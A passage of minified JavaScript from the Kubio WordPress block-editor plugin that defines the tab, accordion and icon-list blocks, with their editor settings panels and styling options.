0:a[2])&&(e.innerBlocks[0][2]=[(0,Ne.composeBlockWithStyle)(hn.TAB_NAVIGATION_ITEM)]),null!=e&&e.isDefault?{...e,description:tI}:e},innerBlocksDisableInBetweenInserter:!0,kubioMigrations:HI}),FI="inner",zI=(0,De.compose)((0,De.createHigherOrderComponent)((e=>t=>{const{clientId:o}=t,{currentTabClientId:n}=nI(),a=n===o;return(0,Je.jsx)(e,{...t,isTabActive:a})})),(0,Ne.withColibriData)(((e,t)=>{const{isTabActive:o}=t;return{slug:e.getAttribute("slug"),isTabActive:o}})),(0,Ne.withStyledElements)((({computed:e}={})=>({[FI]:{className:Ge()({"h-tabs-content-active":e.isTabActive,hide:!e.isTabActive})}}))),(0,Ne.withRedirectSelectionToParent)()),VI=zI((({StyledElements:e})=>{const t=bn({},{templateLock:!1});return(0,Je.jsx)(e.Inner,{children:(0,Je.jsx)(e.Content,{...t})})})),YI={name:"kubio/tabitem",category:"kubio-basic",parent:["kubio/tabitems"],attributes:{kubio:{type:"object"},title:{type:"string",default:""},slug:{type:"string",default:"tab-title"},icon:{type:"string",default:""}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{INNER:"inner",CONTENT:"content"},elementsByName:{inner:{wrapper:!0,default:!0,props:{className:["h-tabs-item-content","h-tabs-item","h-y-container"]}},content:{props:{className:["h-y-container","tab-item-content-wrapper"]}}},template:{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},$I=(0,Sn.extendBlockMeta)(YI,{title:(0,We.__)("Tab item","kubio"),icon:Tn.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:{}},reusable:!1,html:!1,lightBlockWrapper:!0},edit:e=>{const t=nI(),{tabClientId:o}=t,n={clientId:o};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:o,children:[(0,Je.jsx)(yI,{...n}),(0,Je.jsx)(NI,{...n})]}),(0,Je.jsx)(VI,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),KI=[hn.TAB_ITEM],qI=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)(),(0,Ne.withRedirectSelectionToParent)({skipKubioEditorCheck:!0}))((({StyledElements:e})=>{const t=bn({},{templateLock:!1,renderAppender:!1,allowedBlocks:KI});return(0,Je.jsx)(e.Outer,{...t})})),XI={outer:{label:(0,We.__)("Container","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},QI={name:"kubio/tabitems",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex","h-tabs-item-content__container","h-tabs-item__container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},ZI=(0,Sn.extendBlockMeta)(QI,{title:(0,We.__)("Tab items","kubio"),icon:Tn.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:XI},reusable:!1,html:!1,lightBlockWrapper:!0},edit:qI,save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})},innerBlocksDisableInBetweenInserter:!0}),JI=[(0,Ne.composeBlockWithStyle)(hn.TAB_NAVIGATION_ITEM)],eE=(0,De.compose)((0,Le.withSelect)(((e,t)=>{const{getBlockParents:o,getBlocksByClientId:n}=e("core/block-editor"),{clientId:a}=t,i=n(o(a)),r=je().get(i,i.length-1);return{tabItems:je().get(r,["innerBlocks",1,"innerBlocks"],[]),tabBlock:r,tabClientId:je().get(r,"clientId")}})),(0,Ne.withColibriDataAutoSave)(((e,t)=>({iconEnabled:e.withParent().getProp("icons.show")}))),(0,Ne.withStyledElements)(),(0,Ne.withRedirectSelectionToParent)({skipKubioEditorCheck:!0}))((({computed:e,StyledElements:t,tabItems:o,tabClientId:n})=>{const{selectTabBlock:a}=nI(),{iconEnabled:i}=e,r=(0,Me.useMemo)((()=>null==o?void 0:o.map((e=>({id:e.clientId,slug:je().get(e,"attributes.slug"),title:je().get(e,"attributes.title"),iconName:je().get(e,"attributes.icon"),iconEnabled:i,tabClientId:n})))),[o,i]),s=[(0,Ze.transformTemplateToBlock)(JI[0])];return(0,Je.jsx)(t.Outer,{onMouseDown:e=>{e.preventDefault(),e.stopPropagation(),a()},children:r.map((e=>(0,Je.jsx)(st.BlockContextProvider,{value:e,children:(0,Je.jsx)(st.BlockEditorProvider,{value:s,children:(0,Je.jsx)(st.BlockList,{renderAppender:!1})})},e.id)))})})),tE=eE,oE={outer:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},nE={name:"kubio/tabnavigation",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs-navigation","d-flex"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},aE=(0,Sn.extendBlockMeta)(nE,{title:(0,We.__)("Tab navigation","kubio"),icon:Tn.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:oE},reusable:!1,html:!1,lightBlockWrapper:!0},edit:tE,save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})},innerBlocksDisableInBetweenInserter:!0}),iE={LINK:"link",ICON:"icon",TEXT:"text"},rE={[iE.OUTER]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},sE=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{const{context:o}=t;return{context:o}})),(0,Ne.withStyledElements)((({computed:e})=>{const{context:t}=e,{slug:o,iconName:n}=t;return{[iE.LINK]:{tag:"a",href:()=>`#${o}`,"data-slug":o},[iE.ICON]:{name:n}}})),(0,Ne.withRedirectSelectionToParent)()),lE=sE((({context:e,StyledElements:t})=>{const{title:o,iconEnabled:n,id:a}=e,{setCurrentTabClientId:i,currentTabClientId:r,selectTabBlock:s}=nI(),l=r===a;return(0,Je.jsxs)(t.Link,{onMouseDown:e=>{e.preventDefault(),e.stopPropagation(),i((()=>a)),s()},className:Ge()({"h-custom-active-state":l,"h-tabs-navigation-active-item":l}),children:[(0,Je.jsx)(t.Icon,{tag:ut.CanvasIcon,shouldRender:n}),!!o&&(0,Je.jsx)(t.Text,{children:o})]})})),uE=lE,cE={name:"kubio/tabnavigationitem",category:"kubio-basic",parent:["kubio/tabnavigation"],usesContext:["title","slug","id","iconName","iconEnabled","arrayIndex"],attributes:{kubio:{type:"object"}},supports:{inserter:!1,kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{link:{default:!0,wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["h-tabs-navigation-item","h-global-transition"]}},icon:{props:{tag:"icon"}},text:{props:{tag:"span",className:["h-tabs-navigation-item__text"]}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"text",shouldRender:"computed.shouldRenderText"}}]}}}},pE=(0,Sn.extendBlockMeta)(cE,{title:(0,We.__)("Tab navigation item","kubio"),icon:Tn.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:rE},reusable:!1,html:!1,lightBlockWrapper:!0},edit:uE}),dE={Tab:H,TabItem:G,TabItems:U,TabNavigation:F,TabNavigationItem:z},mE=(0,Me.createContext)({}),hE=()=>(0,Me.useContext)(mE),bE="outer",gE="title",yE="content",kE="icon",fE="v-space",_E={[bE]:{label:(0,We.__)("Accordion","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[gE]:{label:(0,We.__)("Title","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover","customActive"]}},[yE]:{label:(0,We.__)("Content","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal"]}},[kE]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover","customActive"]}},[fE]:{internal:!0}},vE=(0,Ne.withComputedData)((e=>{const t=e.withParent().getProp("openMultipleItems");return{openByDefault:{value:e.getAttribute("openByDefault"),onChange:o=>{o&&!t&&e.withSiblings().forEach((t=>{t.clientId!==e.clientId&&t.setAttribute("openByDefault",!1)})),e.setAttribute("openByDefault",o)}}}}))((({computed:e})=>{const{openByDefault:t}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Title","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"title"}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Open by default","kubio"),...t})]})})),xE=(0,Ne.withComputedData)(((e,t)=>{const{ownerDocument:o}=(0,Ne.useOwnerDocumentContext)(),{setOnlyActiveItem:n,currentAccordionSlugs:a}=hE();return{openMultipleItems:{value:e.getProp("openMultipleItems"),onChange:t=>{if(!1===t){if(a.length){const e=a[a.length-1];n(e)}const t=e.withChildren();let o=!1;t.forEach((e=>{e.getAttribute("openByDefault")&&(o?e.setAttribute("openByDefault",!1):o=!0)}))}e.setProp("openMultipleItems",t)}},afterAddHook:e=>{const t=e.getAttribute("title"),n=(0,Ze.generateSlug)(t,o);e.setAttribute("slug",n)},titleGetter:(e,t)=>`Accordion item #${t+1}`}}))((({computed:e})=>{const{afterAddHook:t,openMultipleItems:o}=e,{setActiveItem:n,currentAccordionSlugs:a}=hE();return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Accordion Properties","kubio"),children:[(0,Je.jsx)(ut.SortableCollapseGroupWithData,{titlePath:"title",afterAddHook:t,afterDuplicateHook:t,activeItems:a,onSelect:e=>n(e.id),allowMultipleExpanded:o.value,label:(0,We.__)("Accordion items","kubio"),iconGetter:()=>!1,children:e=>(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:e.clientId,children:(0,Je.jsx)(vE,{openMultipleItems:o.value})})}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Allow multiple items open","kubio"),...o}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.IconPickerWithPath,{label:(0,We.__)("Normal Icon","kubio"),path:"accordionItems.normalIcon",type:Ne.WithDataPathTypes.PROP}),(0,Je.jsx)(ut.IconPickerWithPath,{label:(0,We.__)("Active Icon","kubio"),path:"accordionItems.activeIcon",type:Ne.WithDataPathTypes.PROP}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),max:30,path:"size",style:kE,type:Ne.WithDataPathTypes.STYLE})]})})),CE=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(xE,{...e})}),IE=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:bE};return(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Accordion","kubio"),children:(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...e})})},EE={NORMAL:"normal",HOVER:"hover",ACTIVE:"customActive"},TE={LEFT:"left",RIGHT:"right"},SE={titlesStates:{values:EE,options:[{label:(0,We.__)("Normal","kubio"),value:EE.NORMAL},{label:(0,We.__)("Hover","kubio"),value:EE.HOVER},{label:(0,We.__)("Active","kubio"),value:EE.ACTIVE}]},iconPosition:{values:TE,options:[{label:(0,We.__)("Left","kubio"),value:TE.LEFT},{label:(0,We.__)("Right","kubio"),value:TE.RIGHT}]}},wE=(0,Ne.withComputedData)((e=>{const t=(0,bt.useInheritedTextAlign)(),[o,n]=(0,Me.useState)(SE.titlesStates.values.NORMAL);return{defaultTextAlign:t,currentState:o,setCurrentState:n}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:gE},{currentState:o,setCurrentState:n,defaultTextAlign:a}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Titles","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("State","kubio"),options:SE.titlesStates.options,value:o,onChange:n}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Background","kubio"),path:"background",state:o,...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",state:o,...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...t}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",defaultValue:a,useContentAlignIcons:!1,skipJustify:!0,...t}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...t}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...t})]})})),PE=(0,Ne.withComputedData)((e=>{const[t,o]=(0,Me.useState)(SE.titlesStates.values.NORMAL);return{iconPositionIsLeft:e.getProp("accordionItems.iconPosition")===SE.iconPosition.values.LEFT,currentState:t,setCurrentState:o}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:kE},{currentState:o,setCurrentState:n,iconPositionIsLeft:a}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Icon position","kubio"),options:SE.iconPosition.options,type:Ne.WithDataPathTypes.PROP,path:"accordionItems.iconPosition"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),max:30,path:"size",...t}),a&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon spacing","kubio"),max:100,path:"margin.right",...t}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("State","kubio"),options:SE.titlesStates.options,value:o,onChange:n}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",state:o,...t})]})})),AE=(0,Ne.withComputedData)((()=>{const{globalStyle:e}=(0,bt.useGlobalDataStyle)();return{defaultTextAlign:(0,bt.useInheritedTextAlign)(),vSpacingDefault:e.getPropInMedia("vSpace")}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:yE},{vSpacingDefault:o,defaultTextAlign:n}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Content","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Background","kubio"),path:"background",...t}),(0,Je.jsx)(ut.TypographyContainerControlPopupWithPath,{path:"typography",...t}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",defaultValue:n,...t}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...t}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...t}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Content elements vertical spacing","kubio"),media:"auto",defaultValue:o,type:Ne.WithDataPathTypes.PROP,path:"vSpace"})]})})),jE=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(IE,{}),(0,Je.jsx)(wE,{}),(0,Je.jsx)(PE,{}),(0,Je.jsx)(AE,{})]}),BE=e=>(0,Ne.composeBlockWithStyle)(hn.ACCORDION_ITEM,{attributes:{title:e,slug:(0,Ze.generateSlug)(e)}}),NE=[hn.ACCORDION_ITEM],OE=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>{const t=e.withChildren(),o=t.map((e=>e.getAttribute("openByDefault"))),n=t.length;return{normalIcon:e.getProp("accordionItems.normalIcon"),activeIcon:e.getProp("accordionItems.activeIcon"),iconPosition:e.getProp("accordionItems.iconPosition"),openMultipleItems:e.getProp("openMultipleItems"),openByDefaultValues:o,accordionItemsLength:n}})),(0,Ne.withDynamicStyles)((e=>{const t=e.getPropByMedia("vSpace",{});return{[fE]:jn.dynamicStylesTransforms.vSpace(t)}})),(0,Ne.withStyledElements)())((({clientId:e,computed:t})=>{const o=(0,Me.useMemo)((()=>[BE("Accordion item 1"),BE("Accordion item 2"),BE("Accordion item 3")]),[e]),{normalIcon:n,activeIcon:a,iconPosition:i}=t,r=(0,Me.useRef)(),s={id:e,normalIcon:n,activeIcon:a,iconPosition:i},l=(0,Ne.useBlockElementProps)(bE),u=bn({...l,ref:r},{templateLock:!1,renderAppender:!1,allowedBlocks:NE,template:o}),c=(0,st.useBlockProps)(u);return(0,Je.jsx)(st.BlockContextProvider,{value:s,children:(0,Je.jsx)("div",{...c})},s.id)})),RE=(0,Ne.withPropsChecker)((function(e){const[t,o]=(0,Me.useState)([]),{openMultipleItems:n}=e.attributes.kubio.props,a={setActiveItem:e=>{if(e){let a=!1;const i=t.filter((t=>t!==e||(a=!0,!1)));o(n?a?i:[...i,e]:a?[]:[e])}else o([])},currentAccordionSlugs:t||[],setOnlyActiveItem:e=>{e&&o([e])},accordionClientId:e.clientId};return(0,Je.jsxs)(mE.Provider,{value:a,children:[(0,Je.jsx)(CE,{...e}),(0,Je.jsx)(jE,{...e}),(0,Je.jsx)(OE,{...e})]})})),DE=(0,We.__)("Display creative collapsible texts in a dropdown manner. Stylize them according to your vision.","kubio"),LE={name:"kubio/accordion",title:"Accordion",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:18,unit:"px"},margin:{right:{value:"0",unit:"px"}}},title:{textAlign:"left"}}},props:{accordionItems:{normalIcon:"font-awesome/plus",activeIcon:"font-awesome/minus",iconPosition:"left"},openMultipleItems:!1}},elementsEnum:{OUTER:"outer",TITLE:"title",CONTENT:"content",ICON:"icon",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion"]}},title:{selector:".h-accordion-item .h-accordion-item-title"},content:{selector:".h-accordion-item .h-accordion-item-content__container"},icon:{selector:{normal:" .h-accordion-item .h-accordion-item-title .h-accordion-item-title-icon",hover:" .h-accordion-item .h-accordion-item-title:hover .h-accordion-item-title-icon",customActive:".h-accordion-item .h-accordion-item-title.h-custom-active-state .h-accordion-item-title-icon"}},"v-space":{selector:".h-accordion-item-content__container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},ME=(0,Sn.extendBlockMeta)(LE,{title:(0,We.__)("Accordion","kubio"),keywords:[(0,We.__)("accordion","kubio")],icon:Tn.BlockIcons.Accordion,apiVersion:2,supports:{kubio:{elementsByName:_E},reusable:!1,html:!1},edit:RE,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:DE}:e,innerBlocksDisableInBetweenInserter:!0}),WE="title",HE="iconNormal",GE="iconActive",UE="content",FE={["outer"]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},zE=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>{const{context:o={}}=t,{normalIcon:n,activeIcon:a,iconPosition:i}=o;return{clientId:je().get(e,"clientId"),originalSlug:je().get(e,"localData.slug"),title:e.getAttribute("title"),openByDefault:e.getAttribute("openByDefault"),normalIcon:n,activeIcon:a,iconPosition:i}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{clientId:t,originalSlug:o,normalIcon:n,activeIcon:a,openByDefault:i,iconPosition:r}=e,s=()=>`h-accordion-item-title-icon--${r}`;return{[UE]:{},[WE]:{tag:"a",href:()=>`#${t}`,"data-open-by-default":()=>i+"","data-slug":o},[HE]:{name:()=>n,className:()=>s()},[GE]:{name:()=>a,className:()=>s()}}})),(0,Ne.withRedirectSelectionToParent)({skipKubioEditorCheck:!0})),VE=zE((({computed:e,StyledElements:t})=>{const{title:o,clientId:n,openByDefault:a}=e,{setActiveItem:i,currentAccordionSlugs:r}=hE(),s=(0,Me.useRef)(),l=bn({ref:s},{templateLock:!1}),u=(0,Me.useCallback)((()=>{i(n)}),[i]),c=r.includes(n);return(0,Je.jsxs)(t.Outer,{children:[(0,Je.jsxs)(t.Title,{onClick:u,className:Ge()({"accordion-active":c,"h-custom-active-state":c}),children:[(0,Je.jsx)(t.IconNormal,{tag:ut.CanvasIcon}),(0,Je.jsx)(t.IconActive,{tag:ut.CanvasIcon}),(0,Je.jsx)(t.TitleText,{children:o})]}),(0,Je.jsx)(t.Content,{...l})]})})),YE={name:"kubio/accordionitem",category:"kubio-basic",usesContext:["normalIcon","activeIcon","iconPosition"],parent:["kubio/accordion"],attributes:{kubio:{type:"object"},slug:{type:"string",default:"accordion-title"},title:{type:"string",default:"Accordion item"},openByDefault:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{OUTER:"outer",TITLE:"title",ICON_NORMAL:"iconNormal",ICON_ACTIVE:"iconActive",TITLE_TEXT:"titleText",CONTENT:"content"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion-item"]}},title:{prefixWithTag:!0,props:{tag:"a",className:["h-accordion-item-title","d-flex","align-items-center","h-global-transition"]}},iconNormal:{props:{tag:"icon",className:["h-accordion-item-title-normal-icon","h-accordion-item-title-icon"]}},iconActive:{props:{tag:"icon",className:["h-accordion-item-title-active-icon","h-accordion-item-title-icon"]}},titleText:{props:{className:["h-accordion-item-title__text"]}},content:{props:{className:["h-accordion-item-content__container","h-y-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"title"},children:[{type:"element",props:{name:"iconNormal"}},{type:"element",props:{name:"iconActive"}},{type:"element",props:{name:"titleText"}}]},{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},$E=(0,Sn.extendBlockMeta)(YE,{title:(0,We.__)("Accordion item","kubio"),icon:Tn.BlockIcons.Accordion,apiVersion:2,supports:{kubio:{elementsByName:FE},reusable:!1,html:!1,lightBlockWrapper:!0},edit:function(e){const t=hE(),{accordionClientId:o}=t,n={clientId:o};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:o,children:[(0,Je.jsx)(CE,{...n}),(0,Je.jsx)(jE,{...n})]}),(0,Je.jsx)(VE,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),KE={Accordion:V,AccordionItem:Y},qE="row",XE=[{value:"column",label:(0,We.__)("Vertical","kubio"),icon:Tn.MoreVerticalMobile},{value:qE,label:(0,We.__)("Horizontal","kubio"),icon:Tn.MoreHorizontalMobile}],QE=((0,We.__)("None","kubio"),(0,We.__)("Solid","kubio"),(0,We.__)("Dashed","kubio"),(0,We.__)("Dotted","kubio"),(0,We.__)("Double","kubio"),(0,We.__)("Groove","kubio"),(0,We.__)("Ridge","kubio"),(0,We.__)("Inset","kubio"),(0,We.__)("Outset","kubio"),[{value:"flex-start",label:(0,We.__)("Top","kubio"),icon:Tn.VerticalAlignTop},{value:"center",label:(0,We.__)("Middle","kubio"),icon:Tn.VerticalAlignMiddle},{value:"flex-end",label:(0,We.__)("Bottom","kubio"),icon:Tn.VerticalAlignBottom}]),ZE=[{value:"flex-start",label:(0,We.__)("Left","kubio"),icon:Tn.HorizontalAlignLeft},{value:"center",label:(0,We.__)("Middle","kubio"),icon:Tn.HorizontalAlignCenter},{value:"flex-end",label:(0,We.__)("Right","kubio"),icon:Tn.HorizontalAlignRight}],JE={toolbar1:"bold,italic"},eT=(0,Ne.withComputedData)((e=>(0,Me.useMemo)((()=>{const t=e.getAttribute("icon"),o={value:e.getAttribute("useForAll"),onChange:o=>{e.withSiblings().forEach((e=>{o&&t&&e.setAttribute("icon",t),e.setAttribute("useForAll",o)}))}},n={value:e.getAttribute("disabledItem"),onChange:t=>{e.setAttribute("disabledItem",t)}};return{text:{value:e.getAttribute("text"),onChange:t=>{e.setAttribute("text",t)}},icon:{value:e.getAttribute("icon"),onChange:t=>{e.getAttribute("useForAll")&&e.withSiblings().forEach((e=>{e.setAttribute("icon",t)})),e.setAttribute("icon",t)},type:Ne.WithDataPathTypes.ATTRIBUTE},link:{value:e.getAttribute("link"),onChange:t=>{e.setAttribute("link",t)}},useForAllProps:o,customDisabledProps:n}}),[e])))((e=>{const{computed:t,isSelected:o}=e,{text:n,useForAllProps:a,customDisabledProps:i,icon:r}=t;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.IconPicker,{path:"icon",...r}),o&&(0,Je.jsx)(ut.TinymceControlWithPath,{label:(0,We.__)("Text","kubio"),...n,editorSettings:JE}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Use this icon for all items","kubio"),...a}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Disabled","kubio"),...i}),(0,Je.jsx)(ut.LinkControlWithData,{})]})})),tT="outer",oT="item",nT="link",aT="icon",iT="text",rT="divider",sT="divider-wrapper",lT="text-wrapper",uT={[tT]:{label:(0,We.__)("List Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[lT]:{label:(0,We.__)("List Item","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[iT]:{label:(0,We.__)("Text","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover","customDisabled"]}},[aT]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover","customDisabled"]}},[nT]:{label:(0,We.__)("Links","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[rT]:{internal:!0},[oT]:{label:(0,We.__)("Item Wrapper","kubio"),internal:!0},[sT]:{label:(0,We.__)("Divider Wrapper","kubio"),internal:!0}},cT={styledComponent:tT},pT={styledComponent:lT},dT=(0,De.compose)((0,Ne.withComputedData)((e=>{const t={value:e.getStyle("alignItems",null,pT),onChange:t=>{e.setStyle("alignItems",t,pT)}},o=(()=>{const t={value:0,unit:"px"};return{value:e.getStyle("flexDirection",null,{styledComponent:tT}),onChange:o=>{const n=[{getPath:"padding.bottom",setPath:"padding.right",styledComponent:oT},{getPath:"padding.bottom",setPath:"padding.right",styledComponent:sT},{getPath:"padding.top",setPath:"padding.left",styledComponent:sT},{getPath:"border.bottom.width",setPath:"border.left.width",styledComponent:rT},{getPath:"width",setPath:"height",unsetValue:"auto",styledComponent:rT}],a=n.map((e=>{const{getPath:t,setPath:o}=e;return{...e,getPath:o,setPath:t}})),i=o===qE?n:a;e.setStyle("flexDirection",o,{styledComponent:tT}),i.forEach((o=>{const n={styledComponent:o.styledComponent},a=e.getStyle(o.getPath,null,n);e.setStyle(o.setPath,a,n);const i=je().get(o,"unsetValue",t);e.setStyle(o.getPath,i,n)}))}}})();return{listLayout:o,verticalAlignProps:t,horizontalAlignProps:{value:e.getStyle("justifyContent",null,cT),onChange:t=>{e.setStyle("justifyContent",t,cT),e.setStyle("alignContent",t,cT)}},iconGetter:e=>e.getAttribute("icon")}})))((({computed:e,clientId:t})=>{const{iconGetter:o,horizontalAlignProps:n,verticalAlignProps:a,listLayout:i}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon List Properties","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("Icon align","kubio"),...a,options:QE,allowReset:!0}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("List Layout","kubio"),options:XE,...i}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("Horizontal Align","kubio"),options:ZE,...n,allowReset:!0}),(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:t,children:(0,Je.jsx)(ut.SortableCollapseGroupWithData,{iconGetter:o,children:(e,t,o)=>(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:null==e?void 0:e.clientId,children:(0,Je.jsx)(eT,{isSelected:o})})})})]})})),mT=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(dT,{...e})}),hT=(0,De.compose)((0,Ne.withComputedData)((e=>({size:(()=>{const 